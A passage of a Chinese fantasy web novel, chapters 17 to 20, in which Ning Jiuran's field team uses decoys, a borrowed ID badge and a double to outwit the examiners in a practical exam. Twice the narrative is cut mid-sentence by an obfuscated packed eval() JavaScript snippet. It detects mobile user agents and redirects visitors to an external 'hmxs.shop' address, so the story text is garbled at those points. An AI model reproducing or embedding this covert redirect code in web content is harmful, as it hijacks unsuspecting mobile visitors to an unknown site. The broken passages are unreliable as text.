肖自云回忆了下,确定自己说的没问题,点头:“对。” “最后一个问题,你们不仅是考官,也是要保障我们考生的个人生命安全的,对不对?”宁九燃问。 这话听着怎么别扭呢……但又没问题…… 肖自云想了想,应下:“没错。” “好了,我没问题了,现在开始吗?” 肖自云示意跟随的其他提灯人先把沧与野送到起始点,然后不紧不慢地说:“还要等一下,有个人,会跟你们一起参与考核。” “谁?” “他也是你们外勤七组的成员,姜滚晁。”随着肖自云的话音落下,门口进来一个背着把巨剑的年轻男子,他走上前来,目光在扫过宁九燃时,骤然发生变化。 17. 第17章 这是宁九燃第一次见到姜滚晁。之前虽然看过他的档案,但可能是因为人事工作的疏漏,档案里连照片都没有。 他极其高壮,身高目测能超过一米九五,训练服包裹着练得极其发达的腱子肉,深棕色头发,五官粗犷,眼角有一道明显的伤疤。 他的背上还背着一柄巨剑——通体黑色,岩石纹路。这大概是他的神骨,只是大部分人的神骨平时都会收回身体里,日常背着的人倒是少数。 除了这些,宁九燃非常敏锐地察觉到,他的气质与七组其他成员有着极大的不同——他的身上有着被沉敛起来的锋芒。 这不是在安逸的小城镇里处理点灵异案件就会有的气质。 他,绝对不简单。 正想着,姜滚晁的目光落在了她身上,神色明显一变,脱口而出:“主人!” 这一声,将在场所有人都喊愣了。 宁九燃最先回过神来,她确定自己从来没见过姜滚晁,可他的神情举动却像是认识自己,甚至渊源不浅。 他总不会……也是伪神教的人吧,那就很麻烦了。 然而,她还没来得及作出应对,姜滚晁忽然一拍自己的脑袋,后退两步,露出个不好意思的笑:“抱歉啊,我连夜赶来头昏脑胀的,你长得有点像我一个朋友,我眼一花就叫错了,对不住啊……” “呃,你朋友名字叫……主人?”路嘲风探头笑问。 “不不不……不是……”姜滚晁一紧张,脸都有些发红,“同……同音,不是那两个字。” “好啦,不说闲话。姜滚晁,自我介绍下。”肖自云出声。 姜滚晁点点头,对着四人说:“你们好,我叫姜滚晁,25岁,s+泰坦神格,四重神相。很……很开心见到大家。” 泰坦神格,绝对的防守与力量,神力层级也这么高…… 宁九燃用余光看了眼肖自云,然后第一个上前伸出手:“你好,我是宁九燃,21岁,s+火鹤神格,三重神相。” 姜滚晁看着像是愣了下,然后颇为郑重地伸出双手轻轻握了下宁九燃的指尖:“你好,刚刚……不好意思。” 看着有点实心眼儿…… 宁九燃收回手后暗想。 其他三人都自我介绍后,肖自云又开口:“姜滚晁这几年都在外磨练,实战经验什么的还是比较丰富的。这次他会跟你们一起接受实战考核,加油吧各位,不会有人放水哦。” 说最后这一句的时候,肖自云意味深长地瞥了路嘲风一眼,然后转身走出候考室。 “主任,你这都能听见啊——”路嘲风冲肖自云的背影哀嚎一声。 “你别忘了肖主任的神格,都叫你别乱说话了。”辰刻拽住快要扑过去冲肖主任嚎的路嘲风,说。 “好啦,那我们也出发吧。”宁九燃看看时间。 请神司为他们准备了近地机甲车,直接将他们送到了郊外的起始点——一座两层的小楼,在这人造生态的森林显得有些突兀。 宁九燃走在最前面,推门而入。 沧与野正坐在客厅的沙发上等他们,见他们进来,说:“详细的考核要求都已经发到你们的个人终端了,那边是会客室,你们可以去那里讨论。” 宁九燃边走边四处打量,回头问:“沧主任,这幢小楼是司长的吗?” “怎么这么问?”沧与野有些好奇。 宁九燃指了指客厅四处华而不实的夸张装潢,说:“这装修风格,跟司长给弑神者大人装的办公室如出一辙哈……” 这审美全平海估计也是独一份的。 “观察力不错呀,房子是司里的资产,但确实是司长装的。”沧与野顺着宁九燃的目光四面看了看,“怎么了吗?” “太招摇,太突兀。”宁九燃皱了皱眉,“在起始点内,我们会被攻击吗?” “不会,出了起始点才算开始。”沧与野说,心想:这小姑娘考虑周全,认真起来说话也一点不留情面,连司长都吐槽…… “那没事了,沧主任你好好休息。”宁九燃跟着他们一块进了会客室,关门的时候,顺手点了隔音键。 五人围着桌子坐下。 宁九燃先起身,在黑色的桌面显示屏上点了点,桌面就变成了可以写字的白屏。她双手撑在桌面上,说:“我现在有一个计划,只是……大家愿不愿意由我来调度安排?” 话音刚落,就有人朗声应道:“好!” 居然是姜滚晁。 宁九燃刚才这一问本来就主要是看姜滚晁的态度,毕竟第一次见面不太熟悉,他看着又不是那种特别好相处的。只是有点没想到,林珰珰他们都还没出声,他就这么快应下了。 林珰珰、辰刻和路嘲风显然也有点没料到,路嘲风还悄悄冲宁九燃挤了挤眼,然后几人也都应道。 “那我们现在来整理一下思路。”宁九燃虽然心里有一点点奇怪,但是队友配合当然是好事,也就没再想,点开路线图,“根据要求,有三个点位沧主任是需要下车的,分别是去西子湖旁的木屋群取一个木雕,去万商百货大楼十一层购买……呃……一块芒果蛋糕……这任务够奇怪的,还有就是到废弃的水下游乐场拿走一个能源核……” 这都谁出的题?一个比一个抽象…… 宁九燃越念越诡异,停下来缓了口气,继续说:“考官们主要会在这三个点设伏,而且算上肖主任一共是四位考官,根据要求,考官们最多会使用前四重的神技,但是我们绝对不可以掉以轻心,因为除了肖主任,剩下的考官我们现在还不知道是谁,也就是说在任务点附近谁都有可能是考官。” “这跟往届比起来,难度可高多了……”路嘲风说。 “没错,难度是高。这一趟风险多,神力差距大,确实是很大的考验。”宁九燃伸出手指沿着路线划到终点,眼角微微一弯,“但我有信心。” 沧与野让家用人工智能给他冲了杯全糖加奶的咖啡,靠在沙发上一边喝,一边打开个人终端,点开一个ID叫“闲云野鹤”的人开始聊天。 沧海一声笑:“肖老头,干嘛呢?那几个小朋友可在里面密谋了快两个小时了,你这把老骨头准备好没?” 信息一发出去,对话框就弹出了回复。 闲云野鹤:“你这个老头就别笑我这个老头了,宁九燃那个小丫头除了自己人对谁都不客气,你要不还是多担心下自己吧。” 沧海一声笑:“我可是他们的保护对象,怎么不算他们的自己人?” 闲云野鹤:“那他们都密谋两个小时了,你这个自己人有听到一句吗?” 居然……很有道理! 沧与野突然觉得手里的咖啡不香了,站起来在客厅绕了两圈后,终于忍不住鬼鬼祟祟凑到会客室门边,然后发现里面的人早就开了 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宁九燃追到门口,已经看不见姜滚晁的身影,一转身,沧与野已经走到她身边,问:“怎么了这是?” “突然说不通了,觉得我们的计划会失败,耽误他转正。”宁九燃脸色不太好看,“他说要不是肖主任他压根不会回来跟我们一块。” “这个姜滚晁……好像听说是脾气不太好。”沧与野说,“那你们现在缺个人,怎么办呀?” “没事,缺个就缺个,沧主任您进来吧,我把我们的安排跟您交待下。”宁九燃叹了口气,又往门口看了眼,然后招呼沧与野进了会客室。 “沧主任,我们初步的计划是兵分三路,三路轮转依次到这三个点,我跟辰刻一组,路嘲风自己一组,林珰珰自己一组。”宁九燃点开自己的安排计划。 “你让林珰珰自己一组,她不是没有攻击能力吗?”沧与野提问。 “所以呀,你肯定不会跟着珰珰走,就让珰珰做烟雾弹,分散考官注意,反正主任说过会保护好我们的人身安全的。”宁九燃说。 “那我跟谁走?”沧与野看了看他们几人,问。 “放心,您听我安排就好。”宁九燃眼睛一转,忽然问,“沧主任,您的工牌带着吗?” “带……带着呀。”沧与野没想太多就回答了,边说边从衣服口袋里拿出工牌。 “那就好,借我们一用吧主任。”宁九燃直接把工牌拿来递给路嘲风,冲他一笑,“放心主任,绝对合法使用。” “诶……诶?”沧与野都没反应过来。 宁九燃转身对路嘲风说:“嘲风,我定的装木雕的箱子到了,你等下去帮忙拿下,然后直接放到我们说好的车子里。” 路嘲风比了个“OK”的手势。 “好啦,万事俱备,我们出发吧。” 在考核点无聊到吃了五份工作餐的肖主任,无聊地打开第六份简餐的例汤,刚拿起勺子,通讯就响了。 “主任,外勤七组兵分三路出发了。” “终于出发了。”肖自云把勺子一放,秉着不浪费的美好品德“哧溜”一口喝完了汤,然后站起来活动了下,对通讯声音洪亮地说道,“各点位注意,考核正式开始!提前说啊,考生都精着呢,大家注点意!” 18. 第18章 请神司在小楼那边准备了三辆近地机甲车,外勤七组的三个小队依次开着机甲车往不同的方向去。 “主任,他们没有一起行动,而是分了队。机甲车是全甲防护,看不出沧主任在哪一辆上。”拥有飞行神格负责监察的考官飞在森林外围,对着通讯说。 “分开了,合一块对我们都未必有胜算,这群小家伙在搞什么鬼?”肖自云有些疑惑,想了想,对通讯说道,“知道了,既然这样就不用追踪路线了。他们要扰乱视线,我们就在必经点等他们,你回百货大楼一块埋伏吧。” “是,主任。” 肖自云挂了通讯,在百货大楼的楼梯间坐下,点开个人终端跟“沧海一声笑”的聊天界面看了眼——没有新消息。 他把终端一合:“这个沧老头,说好漏点消息给他们加难度,除了告诉我姜滚晁跑了,连个分队信息都透不出来,怎么好意思说是靠智慧吃饭的?一会让那几个小家伙称斤卖了都不知道。” 沿湖公路上,坐在车里的沧与野无端打了个喷嚏,眼镜都从鼻梁上歪了下来。 “沧主任,您是觉得冷吗?”宁九燃从后视镜里瞟了一眼,“我把温度往上调调?” 坐在副驾上的辰刻闻言,伸手拨了下调温键。 “没事没事。”沧与野整理好眼镜,透过单面厚窗往外看了眼,“这是快到湖边小屋了?” “是的,我们先去取木雕。”宁九燃边控制驾驶器边说。 沧与野搓了搓自己的裤子,纠结了下,艰难地开口:“那个,我的个人终端可以先给我一下吗?” “不行呀,沧主任。万一肖主任让您给他透点我们的计划,当然,我相信您肯定不会这么做的,但是这样您就会左右为难。”宁九燃神情认真地说,“所以,干脆就先放我们这,您看不见就不用为难了。我们呀主要是为您考虑!” 沧与野挠挠头,勉强地笑笑,心想:宁九燃果然聪明。 正说着,车在木屋群中心停下。 宁九燃先开门下车,然后绕到后面给沧与野开门,沧与野的头刚探出车门,狂风骤起。 来了! 宁九燃左手在空中一挥,火焰刚一铺开,无数蓝色的标记弹随着风打进火焰中,然后被灼烧化掉。 是外勤二组的组长,S+的风伯神格拥有者朝棠,已经开到了五重神相。 果然不好对付。 下一秒,第二波攻击就随风卷来。 宁九燃右手把沧与野推回车内,关上车门,左手继续铺开火焰对着大风,喊道:“朝组长!这可都是木屋,我的火下手没轻重,火借风势,您再这样没顾忌地出手,可就是破坏公物啦!” 沧与野在车里听得一头雾水,宁九燃这时喊这种话做什么?难不成觉得朝棠会要保护公物就不出手了?考核中的合理报损司里都会批的,这小丫头在开什么玩笑? 果然,朝棠并没有现身,第三波狂风呼啸袭来。 宁九燃双手结印,火焰为盾抗住狂风,散落的火星顺着大风落在旁边的木屋上,燃起几簇火焰。 “辰刻!按计划!”她大喊。 早就等在车侧的辰刻闻言,右手在下,左手在上,眼睛一闭一睁,虹膜变为银白,青铜色的刻度爬上手臂,他念道:“公理为名,天秤予判,监禁!” 话音一落,手臂上的青铜刻度大亮化形,卷向不远处的一棵茂密的树上,直直将一个人拽了下来。 青铜刻度化作密密麻麻的铭文牢笼,困住了朝棠。 “成功了!”辰刻第一时间看向宁九燃。 宁九燃打开车门护着沧与野进入木屋,冲辰刻点头:“我就说吧,你肯定可以!” 铭文牢笼中的朝棠双手凝聚神力,释放四重神技,却发现击不碎。 这个牢笼严丝合缝,十分牢固,而且与外界完全隔开,她根本看不见外面。 她有些恼意,一个三重神相者的能力,她居然全力一击还打不开? “朝组长,别挣扎啦,这个牢笼最多撑一分钟,很快就解开啦。”宁九燃上车前冲牢笼高声说,“我们拿好雕塑先走咯,拜拜!” 然后,朝棠就听见了机甲车发动和驶离的声音。 “主任,宁九燃和辰刻在一辆车上,沧主任跟他们在一起,他们现在已经拿到木雕,按路线,很可能往大楼去了。”朝棠点开通讯汇报道,“辰刻用了很奇怪的神技,我没能拦住他们。” “没关系,第一坎就被拦住那就不是宁九燃了。”肖自云说,“既然我们知道人在哪辆车,集中火力就好,你也到大楼这来吧。” “是,主任。”朝棠挂了通讯,向大楼方向赶去。 肖自云压了压帽檐,背过身去开始切蛋糕。他伪装成了甜品店的后勤,在里间切蛋糕,从里间可以透过玻璃看见前台的情况。 不仅如此,里间剩下的三个后勤中也有两个是提灯人——分别是外勤三组的组长祝升为和外勤四组的组长章宴。 “主任。”祝升为挪到肖自云身边,低声,“我们一会真能在这开打吗?百货大楼人流量这么大,还有这建筑,这么多特能人过几招估计楼都要塌……” “放心。”肖自云在一块芒果蛋糕上比划了两下,“这座大楼也是司里的资产,建筑骨脉和外壁是让七重神相的强者加固过的,除非受到更高等级的攻击,不然不会塌。” “而且——”肖自云给蛋糕相了半天的面,终于下刀,蛋糕意料之内的惨不忍睹,“我们当时有一条规则,不能引起公民的恐慌,所以他们就不敢跟我们硬碰硬。那我们在暗,他们在明,你觉得那几个小家伙有什么胜算吗?” “主任,您太狠了,往年也不见您对其他临时工下这么狠手呀。又是换题又是出动各组组长的……”祝升为边说边把幸存的蛋糕从肖自云面前挪开,给他推到抹面台去打奶油,“您是有什么别的计划吗?” “我也不想的呀,这关是难,但他们如果连这也过不去,该怎么应对提灯人大赛呢?”肖自云没察觉到祝升为对他刀工的嫌弃,顺手点了下搅拌机,“通不过,就老老实实继续当临时工磨炼,总好过不知天高地厚地跑去,再鼻青脸肿地回来。” 祝升为点点头,没再接话。 突然,外面一阵喧嚷,好像还有广播的声音。 祝升为出去看了看,回来身后还跟了个人,看着是百货大楼的安保人员。 祝升为说:“主任,外面被清场了,人马上就走完了。” “什么情况?”肖自云疑惑地问。 “我们接到了请神司的指令,说这里马上会有特殊任务执行,所以要求我们在二十分钟内清场。”安保人员回答。 “指令?这样的公共性指令只有组长以上级别的才能够发出,你们做好审核了吗?”肖自云马上猜到是宁九燃他们,但是他们的指令必然是无效的,自己现在截断就行。 “我们审核过的!”安保人员赶忙用终端投出一个屏幕,“是请神司综合部主任沧与野下达的指令,我们是见到代表身份的工牌才行动的!控制室的权限都 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16554560|186875||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 交出去了。” 肖自云凑近看清工牌后,气笑了:“老沧连工牌都让那群小家伙算计去了!看来是早就看透我的计划,要来硬碰硬啊!” “喂……喂喂……肖主任……”商场内的广播这时突然响起来,是路嘲风,“肖主任听得见吗?燃姐说了,偷袭是不文明的行为,打架这种事情……还是得光明正大的……所以我就帮你们把人清干净啦,不谢!” 光听声音就知道他在嬉皮笑脸。 肖自云磨了磨后牙槽,一场考核生生给他把斗志激出来了。 “行了,被他们几个算到这种地步,那就开打吧,把场子找回来!”肖自云把甜品店的工作服一解,带着身后的两个提灯人往外走。 “主任主任!我们在北面门等你哦!”广播里又传来一句,然后就是“咔哒”放下话筒的声音。 “我怎么觉得,这几个家伙跟宁九燃待久了,气人的本事也见长呢?”肖自云薅了薅头发,“章宴留在这,小祝跟我去南面门,朝棠已经到了。” 两人刚穿过通道接近南面门,两柄光刀从身后旋转飞来。 肖自云抬手一挡,忽觉身后一凉,右手反握激出神力生生撞开身后袭来的光刀。 “以光影路线折射的光刀,是路嘲风!”肖自云双手往地面一撑,神力激荡,“吾声化形!” 巨大的音波阵阵荡开,让人眼前发晃,大地似乎都翻滚起来。 楼道旁的路嘲风捂住眼睛,被声波震得翻下楼梯。 “把那小子捆了!”肖自会喊道。 祝升为应声跑去,手心飞出藤蔓卷向路嘲风,却在即将触碰到路嘲风时被强势的火焰灼烧殆尽。 “嘲风!”宁九燃拽着牵引绳荡过中心空地落到路嘲风旁边,单手扶起他,另一只手迅速结印,喊道,“万火燎原!” 翻滚的火焰径直烧向祝升为和肖自云,神力相撞的气流让两侧门店的柜台纷纷塌碎。 “肖主任!你先放大招的,损失算司里的吧!”宁九燃拉着路嘲风避到墙后,还不忘说着。 “当然!”肖自云咬着牙,向祝升为递了个眼神。 祝升为会意,掌心生根落在地面,喝道:“无尽藤蔓!” 万千藤蔓瞬间破土而出,疯狂蔓延生长。 宁九燃拉着路嘲风在墙面一点,手中的牵引绳拽住上一层的围栏,在藤蔓即将缠住他们的脚时腾空而起。 肖自印配合着再次使用神技:“吾声化形!” 强大的声浪音波震开,宁九燃觉得眼前控制不住地发晃,视线无法对焦,上下左右都开始旋转,本来抓住她胳膊的路嘲风手上的卸了力。 两人在墙面上飞点的身形开始摇晃。 肖自云趁机又加注神力,音波的震力加强。 一旦他俩晃下去,就会被追着他们的藤蔓死死缠住。 宁九燃用尽全力抓住松了手的路嘲风,牵引绳再一次弹出。 但在旋转成滚筒的视线里,它没能对准缠绕的目标,拉空了! 就在脱手的瞬间,顶层传来发动神技的声音:“言灵审判,束缚!” 糟了!忘了还有辰刻! 肖自云猛一抬头,就看见辰刻站在顶层中空圆的栏杆旁,金色的铭文链条顺着他的手飞出。 “祝升为,小心!” 肖自云喊道,急忙收力回防,但下一秒他就后悔了:“不对!” 金色的铭文链条在宁九燃和路嘲风脱手的瞬间缠住了他们,径直将他们拉上了顶层。 19. 第19章 宁九燃在被拉到顶层的瞬间,双手铺开火焰,烧掉了几根追着卷上来的藤蔓。 三人站稳后,宁九燃没给底下人反应的时间,一抬手,神力聚于手心:“千羽烬!” 无数爆裂燃烧的鹤羽落下,直直击向肖自云、祝升为和朝棠。 朝棠立刻双手凝风去挡鹤羽,但火焰穿透力极强,还是有不少射落下来。 肖自云马上抬手:“吾声为盾!” 声波化作棕色的有形护盾挡住了鹤羽,鹤羽撞击发出刺耳的爆裂声。 肖自云感觉手上一沉,咬牙笑道:“小姑娘出手挺重啊!” “叮——” 宁九燃打开通讯,林珰珰发来信息: “九燃姐,我这边搞定啦。” “很好。”宁九燃回复了个“OK”,转身把一个牵引绳递给路嘲风,“珰珰那里搞定了,你现在马上出发,这边我们拖住!” 路嘲风接过牵引绳戴好,跑到窗边一系,拽着绳翻出窗直接降了下去,落到他提前停好机甲车的位置,然后利落地上车离开。 肖自云加注神力破开所有鹤羽,耳朵一动,看向顶层的人影,说:“有人开车走了!是路嘲风!” 说话间隙,辰刻连发好几个言灵审判,肖自云三人纷纷用神技去挡。 不过因为神力有差距,言灵审判很快就被击破。 “不对,不对……”肖自云手一停,他的听觉因着神格因素而格外灵敏,“路嘲风上车的时间和车子发动的时间不对!” “怎么了主任?”祝升为问。 “间隙太短,太快!”肖自云努力捋清思路,“他的车上不止他一个人,林珰珰没跟他在一块的,那就只有……” 如果沧与野还在宁九燃车上,她已经发现这里火力集中,绝对不会跟我们周旋这么久…… 为什么路嘲风要先走?因为…… “换车了!”肖自云猛地捋清思路,“沧与野在路嘲风车上!玩调虎离山!去追!”冲他们二人一挥手,拔腿下楼。 祝升为用藤蔓扛下辰刻的攻击,立刻跟上。 “言灵审判,束缚!”辰刻靠近边缘,数道字符链条飞向匆匆下楼的三人。 肖自云直接抬手开出四重神技:“吾声为矛!” 音波化作一柄不断震动的光矛,直接刺碎了辰刻的所有链条,辰刻和宁九燃往两边闪避,还是被音浪震得后退几步,再转身时,已经看不见肖自云他们的踪影。 宁九燃跟辰刻对视了一眼,也转身下楼。 肖自云接上从另一个门赶下来的章宴,四人开着车一路直飙,终于在一个拐弯看见了路嘲风的车。 “跟紧了!”肖自云对开车的祝升为说。 祝升为开着车,瞟了眼路线:“主任,这好像是木屋的方向。” “没事,跟紧,我能感受到他们车上有两个人。”肖自云肯定地说。 车子一直跟到木屋前停下,路嘲风就坐在车里,并不开门下车。 “他知道我们跟着。”肖自云看了眼时间——18:04,说,“但他也磨不了多久。” 肖自云坐在车里等了十几分钟,忽然心中有一丝奇怪的感觉。 他去追路嘲风这么久,宁九燃肯定察觉到了,为什么没有跟过来呢? “我觉得不太对劲。”肖自云一皱眉,心中的预感变得有些强烈,当即开门下车向路嘲风的车走去。 “诶主任!” 祝升为和朝棠有些懵。 肖自云径直走到路嘲风的车旁,急促地敲了敲后座的车窗。 车窗降了下来,露出路嘲风笑嘻嘻的脸,他挥着手说:“哈喽主任,辛苦您等我这么久!” 肖自云脑子一嗡,立马俯身从车窗往驾驶座看去——那里还有一个路嘲风在冲他笑! 靠!大意了! 这家伙的四重神技镜花水月是分身!他开到四重神相不久,自己还没见过他使用四重神技,真是失算! “主任,这!”跟在肖自云后面跑来的祝升为,“沧主任怎么没在?” “什么?又算计我们?”后面的朝棠一听,头都大了。 这个宁九燃的心眼怎么跟蜂窝似的,一环叠一环遛得他们到处跑? 主要现在目标完全乱了!他们根本不知道沧与野在哪辆车上,也不知道剩下两辆车跑哪去了啊! “跟我们玩无间道呢。”肖自云薅着头发回到车上。 只能把底牌摸出来了,这几个小家伙的表现实在超出他的料想,那就看看他们到底能走到哪步吧! 他下定了决心,点开个人终端弹出页面,是平海的地图。 “这是?”朝棠探头来看,上面有三个红点。 “他们的车上都装了定位,宁九燃和辰刻在水下游乐场,林珰珰的车在路上…”肖自云调着进度条看他们的行车路线。 “主任,您这也太黑了吧,定位都装了……”祝升为忍不住说,“压根没想让人家通过啊……” 他就没见过这么难的实战考核,跟今天比起来,他当年的考核简直跟过家家似的。 “这要是再玩不过他们,我们几个都白长年纪了!”肖自云盯着地图分析,“我们肯定忽视了什么,人不在路嘲风这里,这只是为了拖延时间扰乱视线,但是宁九燃敢在百货大楼跟我们耗着,难道说人也不在她那?“ “不会啊主任,宁九燃的车从木屋出发后我就一直追着她到大楼,她没停过车,不可能转移沧主任!”朝棠说,“人只能在她车上了!” “等等,等等,肯定有哪里不对……我们肯定忽视了什么……”肖自云的手指叩在车座上,眉头越扭越紧。 宁九燃设这么大一个套,如果他现在按照这个思路去想,肯定会回去追宁九燃,但是基于前车之鉴,肖自云觉得肯定不是这么简单! 他一定忽略了什么重要的细节! “林珰珰!!我们都忽视了林珰珰!”肖自云一拍大腿,迅速调出林珰珰的行车路线,路线图显示林珰珰的车先去了木屋,再经过水下游乐场,现在正开往百货大楼。 他们从猜到分组开始,就完全忽视了林珰珰的存在,下意识觉得她是用来混淆视线的,毕竟她是辅助类神格,不可能单独保护沧与野。 但如果他们想反了呢?如果路嘲风、宁九燃和辰刻才是来混淆视线的呢?那…… 肖自云点了两下屏幕,把林珰珰和宁九燃的行车路线叠在一起,激动地喊:“果然!你们看,宁九燃的车离开木屋后,林珰珰的车就到了木屋,中间衔接很短!” “所以……所以是……”朝棠反应过来,“宁九燃走的时候,沧主任留在了木屋里!她料到我会着急追她,不可能进屋检查,然后林珰珰过来,沧主任就一直在她的车上!” 这局布得也太过聪明了!环环相套,甚至把所有人的反应都算进去了! 如果没有肖主任安的定位,他们现在可能就在追宁九燃的路上,等他们跟宁九燃纠缠几下,林珰珰那边就成功了啊! “主任——”祝升为深深吸了口气,“您这是……哪招的怪物啊?” 肖自云在 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16554561|186875||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 驾驶位上坐好,握上驾驶器,说:“这群小怪物还没算完呢,没看见路嘲风还一直杵这等着报信吗?我们不能直接去追林珰珰,他们一旦发现,说不定还有后手。” “那我们怎么做?”祝升为问。 “小朝,你可以借风飞行,等下你一个人穿进树林隐蔽些去追林珰珰。她没有攻击能力,拿下没问题。”肖自云说,“而我们,就遂宁九燃的意思去找她。他们乱我们视线,我们也可以!” “是,主任。”朝棠小心翼翼地下车,这会的天基本已经黑了,她搅动大风,借着落叶纷飞穿进树林,然后往大楼方向飞去。 而肖自云则开着车往水下游乐场。 停在原地的路嘲风看了眼肖自云开车的方向,点开个人终端给宁九燃发了信息: “他们往你们那边去了。” 肖自云赶到水下游乐场的时候,宁九燃刚好和辰刻从正门出来,见到他们,宁九燃一只手背到身后,另一只手还颇为轻松地冲他们挥了挥。 肖自云和祝升为先下车,让机甲车保持发动状态。 “唉,走慢一步,还是让您堵上了。主任,还打吗?”宁九燃不知道从哪掏出两个棒棒糖,递给辰刻一个,另一个剥了放嘴里。 这小丫头,别的不说,心态和演技是真好…… 再加上脑子和实力,不止是提灯人,干什么都绝对会是佼佼者。 “反正都追上你了,我也不着急,聊会天呗。”肖自云作势要在旁边的路坎上坐下。 就听见宁九燃说:“那我可着急!”话音未落,她将神力聚于指尖,迅速画出一个火焰印记,反手一推,印记形成巨大的火焰囚笼,直接压住了肖自云和祝升为。 神印! 肖自云知道她会用神印,但第一次亲眼见到,还是忍不住被她的天赋所惊艳。 但惊艳归惊艳,手可不能软! “吾声为矛!”肖自云双手并拢往两边推开,透光的音波长矛再次出现,光芒大作。 几秒之后,火焰囚笼被刺穿,长矛分化为两道刺向宁九燃和辰刻。 宁九燃侧身一避,神力为盾抗住余波,右手传来痛感,低头看见一道血痕。 四重神技的威力确实不小! 而还没来记得缓口气,无数藤蔓已从地面刺出向她和辰刻卷来。 “燃姐!” 路嘲风的声音! 祝升为立刻转身,对上拽着牵引绳从他身后飞来的路嘲风的眼睛。 糟了!他刚想转头,但已经晚了! 路嘲风嘴角轻扬,低念:“惊鸿一瞥。”那双桃花眼中闪过强烈的彩光,直直地对着祝升为的眼睛。 祝升为感到眼前瞬间全黑,感官全部陷入混乱。 下一秒,“焚影点杀!”一柄带着灼热的光刃就已斩断了他手上生出的藤蔓根系,然后停在他身前。 “得罪啦,祝组长!”宁九燃带着笑意的声音在他耳边响起。 栽了啊,果然都是小怪物。祝升为心里无奈地暗想。 “肖主任,我们绑个祝组长,您能放我们走吗?”宁九燃转向肖自云。 肖自云刚想说什么,个人终端亮起来,点开一看,脸上没控制住地露出笑意:“九燃啊,还有走的必要吗?” “什么意思?”宁九燃拧起眉问。辰刻和路嘲风都走到她身边。 “别演了,你们的考核已经失败了。”肖自云把自己的聊天界面投出来,上面是朝棠发的信息: “主任,沧主任在林珰珰这,标记弹射中,任务完成。” 20. 第20章 宁九燃看清屏幕上的字,然后跟辰刻和路嘲风对视了一眼,慢慢散掉了手中的光刃。 三个人的神情肉眼可见地变了。 “九燃,做的确实不错,一层一层把我们骗了好几趟。”肖自云收回屏幕,“但你失算了一点,你不应该把全部的机会压在一个没有攻击能力的神格上,有侥幸心理,就有可能会输。” 宁九燃看着肖自云,半天没说话。 “行了,没转正成功也不用这样沮丧,下次再考。”肖自云走到车旁边,“好好做个提灯人照样有出头之日,但按照规定,比赛什么的……你就先别想了。” 宁九燃低着头,不知在想什么,突然弯下腰捂住右臂,吃痛地吸了口气:“嘶……” 辰刻和路嘲风连忙伸手扶住她。 肖自云听到声,快步跑过来一看,宁九燃的右臂血肉模糊,血沿着指缝滑落,她的脸有些惨白,额头上也已经满是冷汗。 “这……什么时候伤成这样的!”肖自云一惊,难怪半天不说话,还以为是在难过,原来已经痛得没力气出声了。 宁九燃缓了口气,声音低弱地抱怨:“主任,咱俩神力有差距……你干嘛下手那么重嘛……” “好了好了,我的错啊,赶紧回司里处理下。”肖自云示意路嘲风去开车。 “主任,我们的车能源核耗尽了。”辰刻说。 “算了,你们几个都上我车吧。”肖自云扶着宁九燃,扭头对祝升为和章宴说,“你们留在这里把车处理一下。” 祝升为和章宴点头。 宁九燃在上车的时候忽然想到了什么,冲跟在后面的辰刻和路嘲风喊:“那个……那个我们后备箱的装木雕的箱子拿来放主任车上,买都买了别浪费。” “少操点心吧,捂着点手。”肖自云看她伤成这样还操心个木雕,赶紧把她推进车里。 等辰刻和路嘲风装完箱子也上来后,肖自云便迅速开往请神司。 下了车之后,肖自云陪着宁九燃到医务室处理伤口。 “疼不疼呀?”帮宁九燃处理伤口的是个女医生,看着漂漂亮亮的小姑娘举着血肉模糊的手,忍不住动作都轻了几分。 “没事,姐姐你手法这么好,一点都不疼。”宁九燃用另一只手托着脸,笑着对女医生说。 “伤成这样嘴都不闲着,我还以为你多少要低落个两天,小看你了。”肖自云坐在一边看着她。 “低落……”宁九燃没转过头,依然笑盈盈地看着给她处理伤口的医生,好像自言自语一般,“为什么……要低落呢?” “什么?”肖自云听了个大概,刚想问,个人终端又亮起来,他点开一看,是朝棠发来的: “主任,刚刚的信息不是我发的。” 什么意思? 肖自云扭头看向宁九燃,却发现她刚好抬头看着他,脸上的微笑带着点狡黠。 她收回包扎好的右手,轻轻活动了下:“主任,你也失算了一点,你不该觉得我会失算。” 话音刚落,医务室的门被推开,辰刻和路嘲风带着沧与野走了进来。 “这……”肖自云的脑子彻底乱了。 路嘲风亮出手上个人终端上的时间:“主任,现在才七点四十五哦。” 沧与野伸出双手,一手是一块装好的芒果蛋糕,另一只手是一个巴掌大的木雕,兜里还有一个能源核。 辰刻说:“主任,这三样东西都是沧主任亲自拿到的,按照要求,我们的考核应该通过了吧?” “不是,这到底是怎么回事?”肖自云有点不甘心,他怀疑自己见鬼了,双手叉腰走了两圈,“谁跟我说一下?你们搁这大变活人呢!” 宁九燃跟辰刻对视一眼,辰刻会意走了出去,然后她开口说:“主任,从一开始,我们就知道车有问题。” 肖自云一愣。 “主任,你肯定没好好看过我的学业单,我当初理论差,但机甲实操课可是满分,我考第二名这门课功不可没。”路嘲风插话,“您在车上安的定位器,我一检查就找到了!” 肖自云一薅头发。 他那段时间忙得要死,哪来的功夫看他的学业单。 